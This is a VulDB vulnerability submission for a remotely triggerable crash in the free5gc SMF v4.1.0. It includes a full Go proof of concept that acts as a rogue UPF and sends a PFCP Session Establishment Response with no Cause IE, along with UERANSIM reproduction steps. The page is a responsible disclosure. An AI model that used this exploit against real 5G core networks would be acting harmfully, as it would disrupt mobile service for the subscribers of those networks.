Submeter #743236: free5gc SMF v4.1.0 Denial of Serviceinformação

Títulofree5gc SMF v4.1.0 Denial of Service
Descrição## Bug Decription The free5gc SMF can be crashed remotely by a rogue/malicious UPF that replies to a PFCP SessionEstablishmentRequest with a SessionEstablishmentResponse that omits the mandatory Cause IE. When SMF receives a Session Establishment Not Accepted response and enters the error-handling branch in internal/sbi/processor/establishPfcpSession() it dereferences rsp.Cause without checking for nil, causing a nil pointer dereference and terminating the SMF process (DoS). ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The provided PoC implements a rogue UPF PFCP server. It completes association setup normally, then, upon receiving SessionEstablishmentRequest, it sends a crafted SessionEstablishmentResponse that includes NodeID and UPFSEID but does not include Cause, reliably triggering the crash. ## To Reproduce 1) Start fake UPF mode: code ``` // Vuln-PB2-08 PoC: SessionEstablishmentResponse without Cause IE - DoS // Target: free5gc SMF v4.10 // Vulnerability: Missing nil check on Cause in else branch at datapath.go:160 // // This PoC implements a rogue UPF server that sends SessionEstablishmentResponse // without the Cause IE, causing SMF to crash when processing the response. package main import ( "encoding/binary" "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) const ( PFCPPort = 8805 ) var ( listenAddr string verbose bool ) func init() { flag.StringVar(&listenAddr, "listen", "x.x.x.x", "Address to listen on") flag.BoolVar(&verbose, "verbose", true, "Verbose output") } // buildMalformedSessionEstablishmentResponse creates a response without Cause IE // This triggers nil pointer dereference at datapath.go:160 when SMF processes the else branch func buildMalformedSessionEstablishmentResponse(reqSEID uint64, seqNum uint32, localIP net.IP) []byte { // Build UPFSEID IE to trigger the code path at line 144 // But do NOT include Cause IE - this will cause nil dereference at line 160 upfSEID := make([]byte, 4+13) // Type(2) + Length(2) + Flags(1) + SEID(8) + IPv4(4) binary.BigEndian.PutUint16(upfSEID[0:2], 57) // Type: UPFSEID binary.BigEndian.PutUint16(upfSEID[2:4], 13) // Length: 13 upfSEID[4] = 0x02 // Flags: V4=1 binary.BigEndian.PutUint64(upfSEID[5:13], 1) // SEID value copy(upfSEID[13:17], localIP.To4()) // IPv4 address // Build NodeID IE (required for the UPFSEID code path) nodeIDPayload := append([]byte{0x00}, localIP.To4()...) // Type=IPv4 + IP nodeIDIE := make([]byte, 4+len(nodeIDPayload)) binary.BigEndian.PutUint16(nodeIDIE[0:2], 60) // Type: NodeID binary.BigEndian.PutUint16(nodeIDIE[2:4], uint16(len(nodeIDPayload))) copy(nodeIDIE[4:], nodeIDPayload) // NOTE: We intentionally DO NOT include Cause IE // This will cause the else branch at line 156-161 to execute, // which dereferences rsp.Cause.CauseValue when Cause is nil // Calculate total payload payload := append(nodeIDIE, upfSEID...) payloadLen := 8 + 3 + 1 + len(payload) // SEID(8) + SeqNum(3) + MP(1) + IEs // Build PFCP message header (session-related message) msgBuf := make([]byte, 4+payloadLen) msgBuf[0] = 0x21 // Version 1, S=1 (SEID present) msgBuf[1] = message.MsgTypeSessionEstablishmentResponse // Message Type: 51 binary.BigEndian.PutUint16(msgBuf[2:4], uint16(payloadLen)) // Message Length binary.BigEndian.PutUint64(msgBuf[4:12], reqSEID) // SEID (echo back request SEID) msgBuf[12] = byte(seqNum >> 16) // Sequence Number (3 bytes) msgBuf[13] = byte(seqNum >> 8) msgBuf[14] = byte(seqNum) msgBuf[15] = 0 // Message Priority + Spare // Append IEs copy(msgBuf[16:], payload) return msgBuf } func handlePFCPMessage(conn *net.UDPConn, buf []byte, n int, remoteAddr *net.UDPAddr, localIP net.IP) { if n < 4 { log.Printf("[-] Message too short: %d bytes", n) return } msgType := buf[1] log.Printf("[*] Received PFCP message type: %d from %s", msgType, remoteAddr.String()) switch msgType { case message.MsgTypeAssociationSetupRequest: log.Printf("[+] Received Association Setup Request") // Respond with valid Association Setup Response to establish association assocResp := message.NewAssociationSetupResponse( getSeqNum(buf), ie.NewCause(ie.CauseRequestAccepted), ie.NewNodeIDHeuristic(localIP.String()), ie.NewRecoveryTimeStamp(time.Now()), ) respBytes, _ := assocResp.Marshal() conn.WriteToUDP(respBytes, remoteAddr) log.Printf("[+] Sent Association Setup Response (association established)") case message.MsgTypeSessionEstablishmentRequest: log.Printf("[+] Received Session Establishment Request") // Prefer CP SEID from CPFSEID IE; header SEID is typically 0 for this request. var cpSeid uint64 var seqNum uint32 if msg, err := message.Parse(buf[:n]); err == nil { if req, ok := msg.(*message.SessionEstablishmentRequest); ok { seqNum = req.Sequence() if req.CPFSEID != nil { if fseid, err := req.CPFSEID.FSEID(); err == nil { cpSeid = fseid.SEID } } } } if cpSeid == 0 && buf[0]&0x01 != 0 { cpSeid = binary.BigEndian.Uint64(buf[4:12]) seqNum = uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14]) } log.Printf("[*] CP SEID: %d, SeqNum: %d", cpSeid, seqNum) // Send malformed response (missing Cause IE) log.Printf("[!] Sending MALFORMED SessionEstablishmentResponse (missing Cause IE)") log.Printf("[!] This will trigger nil pointer dereference at datapath.go:160") malformedResp := buildMalformedSessionEstablishmentResponse(cpSeid, seqNum, localIP) conn.WriteToUDP(malformedResp, remoteAddr) log.Printf("[+] Sent malformed response (%d bytes) - SMF should crash now", len(malformedResp)) case message.MsgTypeHeartbeatRequest: log.Printf("[*] Received Heartbeat Request") hbResp := message.NewHeartbeatResponse( getSeqNum(buf), ie.NewRecoveryTimeStamp(time.Now()), ) respBytes, _ := hbResp.Marshal() conn.WriteToUDP(respBytes, remoteAddr) log.Printf("[*] Sent Heartbeat Response") default: log.Printf("[*] Ignoring message type: %d", msgType) } } func getSeqNum(buf []byte) uint32 { if buf[0]&0x01 != 0 { // S flag set (session-related) return uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14]) } // Node-related message return uint32(buf[4])<<16 | uint32(buf[5])<<8 | uint32(buf[6]) } func getLocalIP(conn *net.UDPConn) net.IP { localAddr := conn.LocalAddr().(*net.UDPAddr) if localAddr.IP.IsUnspecified() { return net.ParseIP("127.0.0.1") } return localAddr.IP } func main() { flag.Parse() log.Printf("[*] Vuln-PB2-08 PoC: SessionEstablishmentResponse without Cause IE") log.Printf("[*] Target: free5gc SMF v4.10") log.Printf("[*] Vulnerability: datapath.go:160 - rsp.Cause.CauseValue nil dereference") log.Printf("[*] ") log.Printf("[*] Attack flow:") log.Printf("[*] 1. SMF connects and establishes PFCP association") log.Printf("[*] 2. SMF sends SessionEstablishmentRequest (on PDU session setup)") log.Printf("[*] 3. Rogue UPF responds with SessionEstablishmentResponse WITHOUT Cause IE") log.Printf("[*] 4. SMF crashes at datapath.go:160 in else branch") // Listen on PFCP port addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", listenAddr, PFCPPort)) if err != nil { log.Fatalf("[-] Failed to resolve address: %v", err) } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("[-] Failed to listen: %v", err) } defer conn.Close() localIP := getLocalIP(conn) log.Printf("[+] Rogue UPF listening on %s:%d", listenAddr, PFCPPort) log.Printf("[*] Waiting for SMF connection...") log.Printf("[*] ") log.Printf("[*] To trigger: Configure SMF to use this IP as UPF, then initiate PDU session") buf := make([]byte, 4096) for { n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[-] Read error: %v", err) continue } handlePFCPMessage(conn, buf[:n], n, remoteAddr, localIP) } } ``` run `go run ./main.go -listen 10.100.200.2` 2) Attach UE and establish a PDU session using UERANSIM. ``` sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-gnb -c /home/ubuntu/UERANSIM/config/gnbcfg-free5gc.yaml sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-ue -c /home/ubuntu/free5gc-compose/config/uecfg.yaml ``` 3) The rogue UPF waits for the SMF to send a PFCP SessionEstablishmentRequest; once received, it replies with a malformed PFCP SessionEstablishmentResponse that omits the mandatory Cause IE, which triggers a nil pointer dereference in the SMF during response processing. ## Expected Behavior When SMF receives a SessionEstablishmentResponse that is missing required IEs (such as Cause), it should: validate the response structure, gracefully reject/ignore the malformed response, return an appropriate error to the SBI caller (or retry/fail the session establishment), without crashing the SMF process. ## Screenshots <img width="902" height="141" alt="Image" src="https://github.com/user-attachments/assets/8006d403-9df2-4a55-afc6-97b130922660" /> ## Environment - free5GC Version: v4.1.0 - OS: Ubuntu 22.04 Server - Kernel version: [e.g. 5.15.0-0-generic] - go version: go version go1.24.9 linux/amd64
Fonte⚠️ https://github.com/free5gc/free5gc/issues/815
Utilizador
 ZiyuLin (UID 93568)
Submissão21/01/2026 02h00 (há 5 meses)
Moderação05/02/2026 14h34 (16 days later)
EstadoAceite
Entrada VulDB344495 [Free5GC até 4.1.0 SMF establishPfcpSession Negação de Serviço]
Pontos20

Want to know what is going to be exploited?

We predict KEV entries!